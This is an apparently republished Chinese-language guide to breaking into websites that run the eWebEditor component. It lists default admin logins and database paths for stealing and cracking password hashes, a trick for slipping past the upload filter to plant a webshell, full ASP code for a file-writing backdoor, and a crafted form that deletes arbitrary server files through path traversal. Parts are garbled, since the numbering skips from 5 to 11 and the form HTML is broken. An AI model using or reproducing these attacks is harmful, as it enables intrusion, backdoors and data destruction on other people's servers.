ewebeditor漏洞利用总结由刀豆文库小编整理，希望给你工作、学习、生活带来方便，猜你可能喜欢“ewebeditor漏洞”。
ewebeditor漏洞利用总结
先从最基本的记录起！通常入侵ewebeditor编辑器的步骤如下:
1、首先访问默认管理页看是否存在。
默认管理页地址2.80以前为 ewebeditor/admin_login.asp 以后版本为admin/login.asp(各种语言的大家自己改后缀，本文就以asp来进行说明，下面不再细说了！)
2、默认管理帐号密码！
默认管理页存在！我们就用帐号密码登陆！默认帐号密码为: admin admin888！常用的密码还有admin admin999 admin1 admin000 之类的。
3、默认数据库地址。
如果密码不是默认的。我们就访问是不是默认数据库！尝试下载数据库得到管理员密码！管理员的帐号密码，都在eWebEditor_System表段里，sys_UserName Sys_Userpa 都是md5加密的。得到了加密密码。可以去www.daodoc.com 等网站进行查询！暴力这活好久不干了！也可以丢国外一些可以跑密码的网站去跑!
默认数据库路径为: ewebeditor/db/ewebeditor.mdb 常用数据库路径为:ewebeditor/db/ewebeditor.asa ewebeditor/db/ewebeditor.asp ewebeditor/db/#ewebeditor.asa ewebeditor/db/#ewebeditor.mdb ewebeditor/db/!@#ewebeditor.asp ewebeditor/db/ewebeditor1033.mdb 等
很多管理员常改.asp后缀，一般访问.asp.asa 后缀的 都是乱码！可以用下载工具下载下来，然后更改后缀为.mdb 来查看内容！
4、说说漏洞基本利用步骤，还以asp为例！
登陆后台以后。选择样式管理，默认编辑器的默认样式都不可以修改的。我们可以从任意样式新建一个样式，然后在图片上传添加可上传后缀。.asa.cer.cdx 等！.asp 过滤过了。但是我们可以用.asaspp 后缀来添加，这样上传文件正好被ewebeditor 吃掉asp后缀，剩下.asp 呵呵！代码不详细说了。总之是个很可笑的过滤！同样，如果遇到一个管理员有安全意识的，从代码里，把.asp.asa.cer.cdx 都完全禁止了，我们也可以用.asasaa 后缀来突破。添加完了后缀，可以在样式管理，点击预览，然后上传！
5、默认管理页不存在！
在实际入侵过程中，有很多默认的管理页不存在的时候。我们可以直接访问样式管理页面 ewebeditor/admin_style.asp 然后用第4步的方式拿webshell。如果样式管理页也不存在的话，我们可以看数据库内的样式表（ewebeditor_style）里面有没有比我们先进去的朋友留下的样式。然后构造上传！具体url如下: eWebEditor/ewebeditor.asp?id=content&style=www.daodoc.com/1.gif.asp!然后选择上传远程文件！自动就把1.gif.asp 保存在上传目录内！注:网上的东西大部分传来传去，这个办法愚弄自己还成！文件的确显示后缀为.asp 但是不能访问，因为收集过来的时候自动截止在1.gif了所以后面的.asp等于没有！而且gif的内容就是我们这个url的路径！呵呵，后来又看到一个利用方式！是利用远程搜集的时候执行,我们文件的代码生成另外的小马！
利用代码如下:
首先建立1.gif.asp 代码如下
<%
Set fs = CreateObject(“Scripting.FileSystemObject”)
Set MyTextStream=fs.OpenTextFile(server.Mappath(“akteam.asp”),1,false,0)
Thetext=MyTextStream.ReadAll
response.write thetext
%>
在我们的1.gif.asp的同目录下建立一个akteam.asp文件，内容就是我们的小马：
<%on error resume next%>
<%ofso=“scripting.filesystemobject”%>
<%set fso=server.createobject(ofso)%>
<%path=request(“path”)%>
<%if path“” then%>
<%data=request(“dama”)%>
<%set dama=fso.createtextfile(path,true)%>
<%dama.write data%>
<%if err=0 then%>
<%=“succe”%>
<%else%>
<%=“false”%>
<%end if%>
<%err.clear%>
<%end if%>
<%dama.close%>
<%set dama=nothing%>
<%set fos=nothing%>
<%=“”%>
<%=“”%>
<%=“”%>
<%=server.mappath(request.servervariables(“script_name”))%>
<%=“”%>
<%=“”%>
<%=“”%>
<%=“”%>
<%=“”%>
<%=“”%>
利用上面说的远程上传的方式！可以得到webshell！成功率取决于，虚拟主机的安全设置！
11、任意文件删除漏洞！
此漏洞存在于ExampleNewsSystem目录下的delete.asp文件中，这是ewebeditor的测试页面，无须登陆可以直接进入！看代码
' 把带“|”的字符串转为数组
Dim aSavepathFileName
aSavepathFileName = Split(sSavepathFileName, “|”)
' 删除新闻相关的文件，从文件夹中
Dim i
For i = 0 To UBound(aSavepathFileName)
' 按路径文件名删除文件
Call DoDelFile(aSavepathFileName(i))
Next
而aSavepathFileName是前面从数据库取出来的：
sSavepathFileName = oRs(“D_SavepathFileName”)
看看D_SavepathFileName是怎么添加到数据库里的，在addsave.asp(modifysave.asp)里：sSavepathFileName = GetSafeStr(Request.Form(“d_savepathfilename”))
...oRs(“D_SavepathFileName”)= sSavepathFileName
居然过滤了，是GetSafeStr函数，再看看这个函数，在Startup.asp里：
Function GetSafeStr(str)
GetSafeStr = Replace(Replace(Replace(Trim(str), “'”, “”), Chr(34), “”), “;”, “”)
End Function
既然路径没有过滤，那就可以直接定义了，构造一个提交页面，其中d_savepathfilename自己任意赋值(要删除多个文件，用|隔开即可)。试试../../eWebEditor.asp，提交后删除该新闻，于是主目录下的eWebEditor.asp不见了！漏洞利用:
eWebEditor删除文件 byldjun(>
新闻列表%20|%20增加新闻
增加新闻
http://127.0.0.1/editor/Example/NewsSystem/addsave.asp“
method=”post“ name=”myform">
要删的文件(相对路径就可以了)：
新闻标题(随便填)：
标题图片：
无
当编辑区有插入图片时，将自动填充此下拉框
新闻内容(随便填)：
